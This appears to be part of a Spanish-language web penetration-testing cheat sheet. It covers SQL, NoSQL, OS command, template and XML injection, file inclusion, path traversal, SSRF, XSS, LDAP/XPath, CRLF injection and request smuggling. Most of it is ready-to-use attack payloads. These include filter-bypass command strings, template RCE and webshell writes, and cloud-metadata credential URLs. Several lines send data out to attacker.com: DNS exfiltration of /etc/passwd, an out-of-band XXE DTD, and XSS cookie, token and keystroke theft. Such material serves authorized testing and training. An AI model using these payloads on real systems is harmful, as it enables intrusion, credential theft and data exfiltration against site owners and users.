?id=1/**/UNION/**/SELECT/**/1,2,3--
?id=1%09UNION%09SELECT%091,2,3--
?id=1%0aUNION%0aSELECT%0a1,2,3--
?id=(1)UNION(SELECT(1),(2),(3))--

Sin comas:

sql
' UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c--
SUBSTR('SQL' FROM 1 FOR 1)
LIMIT 1 OFFSET 0

Sin igual (=):

sql
SUBSTRING(VERSION(),1,1)LIKE(5)
SUBSTRING(VERSION(),1,1)NOT IN(4,3)
SUBSTRING(VERSION(),1,1) BETWEEN 3 AND 4

Sin OR/AND:

sql
WHERE 1||1=1
WHERE 1&&1=1

Case randomizado:

sql
' uNiOn SeLeCt 1,2,3--

Whitespace alternativo por DBMS:

DBMSWhitespace soportado (hex)
MySQL 509, 0A, 0B, 0C, 0D, A0, 20
PostgreSQL0A, 0D, 0C, 09, 20
Oracle00, 0A, 0D, 0C, 09, 20
MSSQL01-1F, 20

Polyglot:

sql
SLEEP(1) /*' or SLEEP(1) or '\" or SLEEP(1) or \"*/

Second-order SQL Injection

El payload se almacena en la DB en el paso 1 y se ejecuta en el paso 2, en una operación diferente:

  1. Registrar usuario con nombre: attacker'--
  2. El INSERT escapa correctamente: no hay inyección aquí
  3. Después, al cambiar contraseña: UPDATE users SET pass='new' WHERE username='attacker'--'
  4. El -- comenta el resto del WHERE → cambia contraseña de todos los usuarios

Authentication bypass via hash crudo (PHP md5 raw)

En PHP, md5($pass, true) retorna bytes crudos en lugar de hex. Si esos bytes contienen 'or', se escapa el contexto SQL:

sql
admin' AND 1=0 UNION ALL SELECT 'admin','161ebd7d45089b3446ee4e0d86dbcf92'--

Donde 161ebd7d45089b3446ee4e0d86dbcf92 es MD5("P@ssw0rd"). La app computa MD5(input) y lo compara con el hash inyectado — si coincide, el login es exitoso.


9.2 NoSQL Injection

MongoDB — bypass de autenticación

URL-encoded form:

username[$ne]=toto&password[$ne]=toto
username[$gt]=&password[$gt]=
login[$regex]=admin.*&pass[$ne]=x
login[$nin][]=admin&login[$nin][]=test&pass[$ne]=toto

JSON body:

json
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$gt": ""}, "password": {"$gt": ""}}
{"username": {"$eq": "admin"}, "password": {"$ne": "x"}}
{"username": {"$in": ["Admin","admin","administrator"]}, "password": {"$gt": ""}}

El operador $ne ("not equal") retorna todos los documentos donde el campo NO sea igual al valor. Combinado en ambos campos, retorna el primer usuario de la colección.

Extracción de datos — blind via regex

HTTP form:

username[$ne]=x&password[$regex]=^a
username[$ne]=x&password[$regex]=^ad
username[$ne]=x&password[$regex]=^adm

JSON:

json
{"username": {"$eq": "admin"}, "password": {"$regex": "^m"}}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md"}}

Script Python para extracción automática:

python
import requests, string

url = "http://target.com/login"
headers = {'Content-Type': 'application/json'}
password = ""

for _ in range(32):
    for c in string.printable:
        if c in ['*', '+', '.', '?', '|']:
            continue
        payload = f'{{"username":{{"$eq":"admin"}},"password":{{"$regex":"^{password+c}"}}}}'
        r = requests.post(url, data=payload, headers=headers)
        if r.status_code == 200 and "welcome" in r.text.lower():
            password += c
            break

print(f"Password encontrado: {password}")

Inyección via $where (si está habilitado)

json
{"$where": "this.username == 'admin' && sleep(5000)"}
{"$where": "function(){ return true; }"}

Herramienta NoSQLMap:

bash
nosqlmap --attack 1 -u "http://target.com/login"

9.3 OS Command Injection

  • [ ] OS command injection en todos los parámetros que parezcan procesarse en el sistema (IPs, nombres de archivo, URLs, dominios)
  • [ ] RCE via Referer Header

Detección básica

Separadores de comandos:

; whoami
& whoami
| whoami
|| whoami
&& whoami
`whoami`
$(whoami)
%0a whoami

Time delay (blind):

; sleep 10
| sleep 10
& ping -c 10 127.0.0.1
; timeout 10

Bypass de filtros

Sin espacios:

bash
cat${IFS}/etc/passwd
bash
cat</etc/passwd
bash
{cat,/etc/passwd}
bash
ls%09-al%09/home

El ${IFS} es la variable Internal Field Separator del shell — contiene espacio, tab y newline por defecto. Los corchetes {cmd,arg} son brace expansion que el shell interpreta como cmd arg.

Sin slash (/):

bash
echo${IFS}${HOME:0:1}etc${HOME:0:1}passwd | bash

${HOME:0:1} extrae el primer carácter de la variable $HOME que normalmente es /. Así se construye /etc/passwd sin escribir el slash directamente.

Hex encoding:

bash
echo -e "\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64" | bash
bash
abc=$'\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64'; cat $abc

Comillas dentro del comando:

bash
w'h'o'am'i
wh""oami
wh\oami
wh``oami

$@ y $():

bash
who$@ami
who$(echo am)i
who$()ami

$@ se expande como lista de argumentos posicionales vacía en bash, efectivamente insertando nada. Sirve para romper patrones de detección.

Brace expansion:

bash
{,ip,a}
{,/usr/bin/id}
{l,-lh}s
{,$"whoami",}
{,/?s?/?i?/c?t,/e??/p??s??,}

El último payload usa wildcards que expanden a /usr/bin/cat /etc/passwd — sin escribir el comando explícitamente.

Variable expansion:

bash
/???/??t /???/p??s??

Los wildcards del shell pueden resolver a /bin/cat /etc/passwd. Útil cuando el WAF filtra palabras completas.

Exfiltración de datos

Time-based (char a char):

bash
time if [ $(whoami|cut -c1) == r ]; then sleep 5; fi

Si la respuesta tarda 5 segundos, el primer carácter del output es r. Repetir para cada posición.

DNS-based (OOB):

bash
nslookup `whoami`.attacker.com
bash
curl "http://$(whoami).attacker.com"
bash
for i in $(cat /etc/passwd | base64 -w0 | fold -w30); do host "$i.attacker.com"; done

Output redirection:

bash
whoami > /var/www/html/output.txt

Luego acceder a: https://target.com/output.txt

Argument injection (cuando no se puede ejecutar comandos directamente)

Chrome:

bash
chrome '--gpu-launcher="id>/tmp/pwned"'

SSH:

bash
ssh '-oProxyCommand="touch /tmp/pwned"' foo@foo

psql:

bash
psql -o'|id>/tmp/pwned'

wget (escribir webshell):

bash
wget "http://evil.com/shell.php" -O /var/www/html/shell.php

Si la app ejecuta wget <user_input>, inyectar -O permite escribir un archivo en una ruta arbitraria.

Polyglot de command injection

bash
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
bash
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/

Estos payloads funcionan en múltiples contextos (sin comillas, con comillas simples, con comillas dobles) simultáneamente.

Commix (automático):

bash
commix --url="https://target.com/ping.php?ip=127.0.0.1" --level=3
bash
commix -r request.txt --os-cmd=id

9.4 Server-Side Template Injection (SSTI)

  • [ ] Script injection en todos los campos que parezcan renderizarse en el servidor

Detección y fingerprinting

Payloads de detección:

{{7*7}}
${7*7}
<%= 7*7 %>
#{7*7}
*{7*7}
[=7*7]
{{7*'7'}}

La diferencia clave para distinguir Jinja2 de Twig: 49 devuelve 7777777 en Jinja2 y 49 en Twig.

Tabla de formatos por motor:

MotorFormatoResultado esperado
Jinja2 (Python)49 → 49
Twig (PHP)49 → 49
Django (Python)49 → error
FreeMarker (Java)${ } #{ } [= ]${7*7} → 49
Velocity (Java)#setvariable-based
Mako (Python)${ }${7*7} → 49
ERB (Ruby)<%= %><%= 7*7 %> → 49
Smarty (PHP){ }{7*7} → 49
Pebble (Java)49 → 49
Blade (PHP/Laravel)49 → 49

Herramienta tplmap:

bash
python3 tplmap.py -u "https://target.com/page?name=test" --os-shell
bash
python3 tplmap.py -u "https://target.com/page?name=test" --os-cmd "id"

Jinja2 (Python) — RCE

Básico:

python
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

Sin __builtins__:

python
{{ cycler.__init__.__globals__.os.popen('id').read() }}
python
{{ joiner.__init__.__globals__.os.popen('id').read() }}
python
{{ namespace.__init__.__globals__.os.popen('id').read() }}
python
{{ lipsum.__globals__["os"].popen('id').read() }}

El payload con lipsum es el más corto conocido — lipsum es una función built-in de Jinja2 que tiene acceso al módulo os.

Sin guiones bajos (bypass de WAF):

python
{{ request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')() }}

\x5f es el encoding hex de _. Algunos WAF filtran __ pero no \x5f\x5f.

Leer archivo:

python
{{ get_flashed_messages.__globals__.__builtins__.open("/etc/passwd").read() }}

Escribir archivo (webshell):

python
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/var/www/html/shell.php','w').write('<?php system($_GET[cmd]);?>') }}

Django — leakear clave secreta:

python
{{ messages.storages.0.signer.key }}

Django — hash de contraseña del admin:

python
{% load log %}{% get_admin_log 10 as log %}{% for e in log %}{{e.user.get_username}} : {{e.user.password}}{% endfor %}

Twig (PHP) — RCE

php
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
php
{{['id']|filter('system')}}
php
{{['id']|map('passthru')}}
php
{{['cat /etc/passwd']|filter('system')}}
php
{{['cat$IFS/etc/passwd']|filter('system')}}

Con obfuscación (usando _charset y block):

twig
{%block U%}id000passthru{%endblock%}{%set x=block(_charset|first)|split(000)%}{{[x|first]|map(x|last)|join}}

FreeMarker (Java) — RCE

java
<#assign ex = "freemarker.template.utility.Execute"?new()>${ex("id")}
java
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ex('id')}
java
${"freemarker.template.utility.Execute"?new()("id")}

Con obfuscación (usando lower_abc):

java
${(6?lower_abc+18?lower_abc+5?lower_abc+5?lower_abc+13?lower_abc+1?lower_abc+18?lower_abc+11?lower_abc+5?lower_abc+18?lower_abc+1.1?c[1]+20?lower_abc+5?lower_abc+13?lower_abc+16?lower_abc+12?lower_abc+1?lower_abc+20?lower_abc+5?lower_abc+1.1?c[1]+21?lower_abc+20?lower_abc+9?lower_abc+12?lower_abc+9?lower_abc+20?lower_abc+25?lower_abc+1.1?c[1]+5?upper_abc+24?lower_abc+5?lower_abc+3?lower_abc+21?lower_abc+20?lower_abc+5?lower_abc)?new()(9?lower_abc+4?lower_abc)}

lower_abc convierte enteros a letras (1=a, 2=b, etc.). Este payload construye freemarker.template.utility.Execute y lo ejecuta con id.

Sandbox bypass (< v2.3.30):

java
<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

Velocity (Java) — RCE

java
#set($rt = $class.forName("java.lang.Runtime"))
#set($method = $rt.getMethod("exec", $class.forName("java.lang.String")))
#set($exec = $method.invoke($rt.getRuntime(), "id"))
#set($inputStream = $exec.getInputStream())
#set($reader = $class.forName("java.io.BufferedReader").getDeclaredConstructors()[0])

ERB (Ruby) — RCE

ruby
<%= system('id') %>
ruby
<%= `ls /` %>
ruby
<%= IO.popen('id').readlines()  %>

Smarty (PHP)

php
{$smarty.version}
php
{system('id')}
php
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}

Spring Expression Language (SpEL) — RCE

java
*{''.class.forName('java.lang.Runtime').getMethod('exec',''.class).invoke(''.class.forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'id')}

Recuperar variables de entorno:

java
*{systemProperties}
*{T(java.lang.System).getenv()}

9.5 File Inclusion (LFI / RFI)

  • [ ] Path traversal, LFI y RFI
  • [ ] File inclusion

LFI básico

?page=../../../etc/passwd
?page=....//....//....//etc/passwd
?page=..///////..////..//////etc/passwd

Null byte (PHP < 5.3.4):

?page=../../../etc/passwd%00
?page=../../../etc/passwd%00.jpg

Encodings:

?page=%2e%2e%2fetc%2fpasswd
?page=%252e%252e%252fetc%252fpasswd
?page=%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd

Path truncation (PHP, inputs >4096 bytes se truncan):

?page=../../../etc/passwd/././././././././././././././[más caracteres hasta llegar a 4096]

LFI → RCE

Log poisoning con User-Agent:

bash
curl -s -A "<?php system(\$_GET['cmd']); ?>" https://target.com/

Luego incluir el log:

?page=../../../var/log/apache2/access.log&cmd=id
?page=../../../var/log/nginx/access.log&cmd=id

El User-Agent se guarda en el access log sin escapar. Al incluir el archivo de log via LFI, el PHP se ejecuta.

PHP wrappers:

?page=php://filter/convert.base64-encode/resource=index.php
?page=php://filter/read=string.rot13/resource=index.php
?page=data://text/plain,<?php system($_GET['cmd']);?>&cmd=id
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=&cmd=id
?page=expect://id

php://filter con convert.base64-encode permite leer el código fuente PHP del servidor en base64, sin ejecutarlo.

Vía /proc/self/environ:

bash
curl -H "User-Agent: <?php system(\$_GET['cmd']); ?>" https://target.com/

Luego:

?page=../../../proc/self/environ&cmd=id

RFI

?page=http://attacker.com/shell.txt
?page=http://attacker.com/shell.txt%00
?page=http:%252f%252fattacker.com%252fshell.txt

Windows SMB (cuando allow_url_include=Off):

?page=\\attacker.com\share\shell.php

Archivos interesantes para LFI

Linux:

/etc/passwd
/etc/shadow
/etc/hosts
/etc/crontab
/proc/self/environ
/proc/self/cmdline
/proc/self/fd/1
/var/log/apache2/access.log
/var/log/nginx/access.log
/var/log/auth.log
/var/log/mail.log
~/.ssh/id_rsa
~/.bash_history
/var/www/html/.env
/var/www/html/config.php
/var/www/html/wp-config.php

Windows:

C:\Windows\win.ini
C:\inetpub\wwwroot\web.config
C:\xampp\htdocs\config.php
C:\Windows\System32\drivers\etc\hosts
C:\Users\Administrator\.ssh\id_rsa

9.6 Directory / Path Traversal

Payloads

Básico:

../../../etc/passwd
..\..\..\Windows\win.ini

URL encoded:

%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd

Doble URL encoded:

%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd

Unicode:

%u002e%u002e%u2215
%uff0e%uff0e%u2215

Overlong UTF-8:

%c0%ae%c0%ae%c0%af
%e0%40%ae%e0%40%ae%c0%af

Mangled (bypass de filtros que eliminan ../):

..././
...\/
....//....//....//etc/passwd

Null byte:

../../../etc/passwd%00.jpg
../../../etc/passwd\x00.png

Bypass de validación de inicio de path:

/var/www/images/../../../etc/passwd

Si la app valida que el path empiece con /var/www/images/, este payload lo satisface y luego navega fuera con ../.

NGINX + Tomcat (..;/):

..;/..;/..;/etc/passwd

NGINX interpreta ..;/ como directorio y hace forward a Tomcat, que lo interpreta como /../.

Herramienta dotdotpwn:

bash
perl dotdotpwn.pl -h target.com -m http -o unix -f /etc/passwd -q

9.7 SSRF

  • [ ] SSRF en puertos abiertos descubiertos previamente
  • [ ] HTTP header injection en GET y POST (X-Forwarded-Host)

Payloads básicos

Loopback:

http://localhost/admin
http://127.0.0.1/admin
http://0.0.0.0/admin
http://[::]:80/
http://0/admin
http://127.1
http://127.0.1

Bypass — codificación de IP

Decimal:

http://2130706433/       (127.0.0.1)
http://3232235521/       (192.168.0.1)
http://2852039166/       (169.254.169.254)

Octal:

http://0177.0.0.1/       (127.0.0.1)
http://0251.0376.0251.0376  (169.254.169.254)

Hex:

http://0x7f000001/       (127.0.0.1)
http://0xa9fea9fe/       (169.254.169.254)

IPv6:

http://[::ffff:127.0.0.1]
http://[0:0:0:0:0:ffff:127.0.0.1]
http://[::1]
http://ip6-localhost

Bypass via dominios

DominioResuelve a
localtest.me::1
localh.st127.0.0.1
target.com.127.0.0.1.nip.io127.0.0.1
spoofed.redacted.oastify.com127.0.0.1

DNS rebinding:

make-1.2.3.4-rebind-169.254.169.254-rr.1u.ms

El dominio alterna entre una IP real y la IP objetivo. En la primera resolución DNS pasa el filtro; en la segunda (cuando el servidor hace la request) resuelve a la IP protegida.

r3dir — servicio de redirect:

https://307.r3dir.me/--to/?url=http://localhost:8080/admin

Bypass via URL parsing

http://evil.com@127.0.0.1/
http://127.0.0.1#target.com
http://target.com.evil.com/
http://127.0.0.1%60target.com

Bypass PHP filter_var():

0://evil.com:80;http://127.0.0.1:80/

Metadata cloud

AWS EC2 IMDSv1:

http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE]
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key

AWS IMDSv2 (requiere PUT primero para obtener token):

bash
curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" http://169.254.169.254/latest/api/token

Usar el token obtenido:

bash
curl -H "X-aws-ec2-metadata-token: TOKEN" http://169.254.169.254/latest/meta-data/

AWS ECS (si se tiene acceso a /proc/self/environ):

http://169.254.170.2/v2/credentials/<UUID>

El UUID está en la variable AWS_CONTAINER_CREDENTIALS_RELATIVE_URI del entorno.

AWS Lambda:

http://localhost:9001/2018-06-01/runtime/invocation/next
http://${AWS_LAMBDA_RUNTIME_API}/2018-06-01/runtime/invocation/next

GCP (requiere header Metadata-Flavor: Google):

http://metadata.google.internal/computeMetadata/v1/
http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token
http://metadata.google.internal/computeMetadata/v1/project/project-id

Azure (requiere header Metadata: true):

http://169.254.169.254/metadata/instance?api-version=2021-02-01
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/

Oracle Cloud:

http://169.254.169.254/opc/v1/instance/

Protocolos alternativos

file://:

file:///etc/passwd
file:///C:/Windows/win.ini

dict:// (para interactuar con servicios como Memcached o Redis):

dict://127.0.0.1:11211/stat
dict://127.0.0.1:6379/info

gopher:// (para enviar paquetes raw a cualquier servicio TCP):

bash
python gopherus.py --exploit redis
bash
python gopherus.py --exploit mysql

Gopherus genera URLs gopher:// para interactuar con Redis, MySQL, SMTP y otros servicios sin autenticación expuestos internamente.

SSRF para port scan interno:

bash
ffuf -u "https://target.com/fetch?url=http://127.0.0.1:FUZZ/" -w <(seq 1 65535) -mc 200 -t 50

Herramientas:

bash
python3 ssrfmap.py -r request.txt -p url --module readfiles,redis
bash
interactsh-client -v

9.8 XXE Injection

  • [ ] XXE en cualquier request, cambiar content-type a text/xml

XXE básico — lectura de archivos

xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root><data>&xxe;</data></root>

Windows:

xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini">]>
<root><data>&xxe;</data></root>

Para SSRF:

xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
<root><data>&xxe;</data></root>

Blind XXE — OOB via DTD externo

Payload en el request vulnerable:

xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
%xxe;]>
<root/>

evil.dtd alojado en el servidor del atacante:

xml
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?x=%file;'>">
%eval;
%exfil;

%eval crea una nueva entidad %exfil que hace una request HTTP con el contenido del archivo como parámetro.

Blind XXE — via mensaje de error

evil.dtd:

xml
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

Intentar cargar un archivo que no existe con el contenido del target en la ruta genera un error que incluye ese contenido en el mensaje.

XXE via XInclude (sin control del DOCTYPE)

xml
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include parse="text" href="file:///etc/passwd"/>
</foo>

Útil cuando la aplicación inserta el input del usuario dentro de un documento XML existente y no se puede controlar el DOCTYPE.

XXE via SVG upload

xml
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/hostname">]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg">
  <text x="0" y="16" font-size="16">&xxe;</text>
</svg>

XXE via imagen en LibreOffice/Word (formato XML):

bash
mkdir -p xxe_docx/word
echo '<?xml version="1.0"?><!DOCTYPE r [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><r>&xxe;</r>' > xxe_docx/word/document.xml
cd xxe_docx && zip -r ../xxe.docx . && cd ..

DTD local (cuando OOB está bloqueado)

xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
  <!ENTITY % ISOamso '
    <!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
    <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///&#x25;file;&#x27;>">
    &#x25;eval;
    &#x25;error;
  '>
  %local_dtd;
]>
<root/>

Si el servidor no puede hacer requests externas, se reutiliza un DTD ya presente en el sistema del servidor.

Cambiar Content-Type a XML

Content-Type: application/json → Content-Type: application/xml

Cuerpo:

xml
<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root>&xxe;</root>

9.9 XSS — Cross-Site Scripting

  • [ ] Reflected XSS
  • [ ] Stored XSS
  • [ ] HTTP header injection en GET y POST
  • [ ] Identificar todos los datos reflejados

Mejor práctica para PoC

En lugar de alert(1), usar:

javascript
alert(document.domain.concat("\n").concat(window.origin))

Esto demuestra el dominio exacto donde ejecuta el XSS y el origen, que es crucial para evaluar el impacto real.

Para XSS almacenado donde alert() es molesto:

javascript
console.log("XSS en /search ".concat(document.domain))

Payloads HTML

Script:

javascript
<script>alert(document.domain)</script>
<scr<script>ipt>alert(1)</scr<script>ipt>
"><script>alert(String.fromCharCode(88,83,83))</script>

IMG:

javascript
<img src=x onerror=alert(1)>
<img src=x onerror=alert('XSS')//
<img src=x oneonerrorrror=alert(String.fromCharCode(88,83,83))>
<img src=x:alert(alt) onerror=eval(src) alt=xss>
><img src=1 onerror=alert(1)>

SVG:

javascript
<svg/onload=alert('XSS')>
<svg onload=alert(1)//
<svg id=alert(1) onload=eval(id)>
<svg><script>alert(33)
<svg><script>alert&lpar;'33'&rpar;

HTML5:

javascript
<body onload=alert(/XSS/.source)>
<input autofocus onfocus=alert(1)>
<details/open/ontoggle="alert`1`">
<video/poster/onerror=alert(1)>
<audio src onloadstart=alert(1)>
<marquee onstart=alert(1)>

Input oculto:

javascript
<input type="hidden" accesskey="X" onclick="alert(1)">

Activar con CTRL+SHIFT+X. En navegadores modernos:

javascript
<input type="hidden" oncontentvisibilityautostatechange="alert(1)" style="content-visibility:auto">

En contexto JavaScript:

javascript
-(confirm)(document.domain)//
;alert(1);//

Bypass de filtros

Case mixing:

javascript
<sCrIpT>alert(1)</ScRiPt>
<IMG SRC=x OnErRoR=alert(1)>

Sin paréntesis:

javascript
alert`1`
onerror=alert;throw 1337
<script>{onerror=alert}throw 1337</script>
setTimeout`alert\u0028document.domain\u0029`
<script>throw/a/,Uncaught=1,g=alert,a=URL+0,onerror=eval,/1/g+a[12]+[1337]+a[13]</script>

Sin "alert" (bypass de blacklist de palabras):

javascript
eval('ale'+'rt(0)')
Function("ale"+"rt(1)")()
new Function`al\ert\`6\``
window['ale'+'rt'](1)
top['al'+'ert'](1)
(8680439).toString(30)
eval(8680439..toString(30))(983801..toString(36))

Sin espacio:

javascript
<img/src='x'/onerror=alert(1)>
<svg	onload=alert(1)>
<svg\x0aonload=alert(1)>
<svg\x0donload=alert(1)>
<svg\x0conload=alert(1)>

Bypass de onXXX= con caracteres especiales:

javascript
<img src='1' onerror\x00=alert(0)>
<img src='1' onerror\x0b=alert(0)>
<img src='1' onerror/=alert(0)>

Bypass de punto (.):

javascript
<script>window['alert'](document['domain'])</script>

Bypass usando javascript: URI con encodings:

javascript
javascript:alert(1)
\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3aalert(1)
\u006A\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u003aalert(1)
java%0ascript:alert(1)
java%0d%0ascript:alert(1)

Data URI:

javascript
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>

XSS en Markdown:

markdown
[click](javascript:alert(document.domain))
![x](x onerror=alert(1))

XSS en SVG upload:

xml
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>

DOM-based XSS — sinks peligrosos

document.write()          → inyectar HTML directamente en el DOM
innerHTML / outerHTML     → parsea HTML y ejecuta eventos inline
insertAdjacentHTML        → igual que innerHTML
eval()                    → ejecuta JS como string
setTimeout(string)        → ejecuta JS
setInterval(string)       → ejecuta JS
location.href             → puede aceptar javascript: URI
location.assign()         → idem
window.open()             → puede abrir javascript: URI
jQuery.html()             → parsea HTML
$.parseHTML()             → idem
document.domain           → puede modificar el scope

Payload para DOM XSS:

javascript
#"><img src=/ onerror=alert(2)>

Explotación

Robar cookies:

javascript
<script>document.location='https://attacker.com/steal?c='+document.cookie</script>
<script>new Image().src="https://attacker.com/cookie?c="+document.cookie</script>
<script>fetch('https://attacker.com/steal',{method:'POST',mode:'no-cors',body:document.cookie})</script>

Robar localStorage/sessionStorage:

javascript
<script>new Image().src="https://attacker.com/?k="+localStorage.getItem('access_token')</script>

Keylogger:

javascript
<img src=x onerror='document.onkeypress=function(e){fetch("https://attacker.com?k="+String.fromCharCode(e.which))},this.remove();'>

UI Redressing (fake login):

javascript
<script>
history.replaceState(null, null, '../../../login');
document.body.innerHTML = "<h1>Session expired. Please login</h1><form>Username: <input type='text'>Password: <input type='password'></form><input value='submit' type='submit'>"
</script>

XSS para CSRF — cambiar email:

javascript
<script>
fetch('/profile')
  .then(r => r.text())
  .then(html => {
    const token = html.match(/name="csrf"\s+value="([^"]+)"/)[1];
    return fetch('/change-email', {
      method: 'POST',
      credentials: 'include',
      headers: {'Content-Type': 'application/x-www-form-urlencoded'},
      body: 'email=attacker@evil.com&csrf=' + token
    });
  });
</script>

Bypass de CSP

JSONP si hay dominio whitelisted que lo tenga:

javascript
<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1337)"></script>
javascript
<script src="https://www.youtube.com/oembed?callback=alert;"></script>

Base-tag hijacking (si CSP usa 'self' con scripts relativos):

html
<base href="https://attacker.com/">

Todos los scripts cargados con rutas relativas (<script src="/js/app.js">) se cargarán desde attacker.com.

Si script-src data: está permitido:

javascript
<script src="data:,alert(1)"></script>

Iframe dentro de iframe para bypassear default-src 'self':

javascript
f=document.createElement("iframe");
f.src="/robots.txt";
f.onload=()=>{
  x=document.createElement('script');
  x.src='//attacker.com/xss.js';
  f.contentWindow.document.body.appendChild(x)
};
document.body.appendChild(f)

Herramientas:

bash
dalfox file xss_candidates.txt --skip-bav -o dalfox_results.txt
bash
dalfox url "https://target.com/search?q=test" --blind "https://blind.interactsh.com"

9.10 LDAP Injection

Bypass de autenticación:

username: *)(uid=*))(|(uid=*
username: admin)(&)
username: *)(|(password=*)
username: *)(%26

Payloads de enumeración:

*
*)(&
*))%00
admin*
*()|admin*
*()|%00*

Si el LDAP query es (&(uid=INPUT)(password=PASS)), inyectar *)(uid=*))(|(uid=* lo convierte en (&(uid=*)(uid=*))(|(uid=*)(password=PASS)), que retorna todos los usuarios.


9.11 XPATH Injection

Bypass de autenticación:

' or '1'='1
' or ''='
x' or 1=1 or 'x'='y
' or true() or '

Extracción blind (char a char):

' and string-length(name(/*[1]))=4 and '1'='1
' and substring(name(/*[1]),1,1)='r' and '1'='1
' and substring(//user[1]/password,1,1)='a' and '1'='1
' and count(//user)>0 and '1'='1

9.12 CRLF Injection

Session fixation:

/page?lang=en%0d%0aSet-Cookie:%20admin=true
/page?lang=en%0d%0aSet-Cookie:%20session=attacker_session_id

XSS via CRLF:

/page?lang=en%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a<svg%20onload=alert(1)>

HTTP Response Splitting:

/page?lang=en%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<html>Phished</html>

Encodings alternativos:

%0d%0a   (CRLF clásico)
%0a      (solo LF)
%0d      (solo CR)
%E5%98%8A%E5%98%8D  (UTF-8 de CRLF — raro pero funciona en algunos parsers)

9.13 HTTP Request Smuggling

Tipos de vulnerabilidad

CL.TE — frontend usa Content-Length, backend usa Transfer-Encoding:

http
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED

El frontend ve Content-Length: 13 y envía 13 bytes al backend. El backend interpreta 0\r\n\r\n como fin del chunk y deja SMUGGLED en el buffer para el siguiente request.

TE.CL — frontend usa Transfer-Encoding, backend usa Content-Length:

http
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0

TE.TE — ambos soportan TE, uno ignora versiones obfuscadas:

Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked

CL.0 (backend ignora Content-Length en ciertos endpoints):

http
POST /index.php HTTP/1.1
Host: target.com
Connection: keep-alive
Content-Length: 50

GET /admin HTTP/1.1
Host: target.com
Foo: x

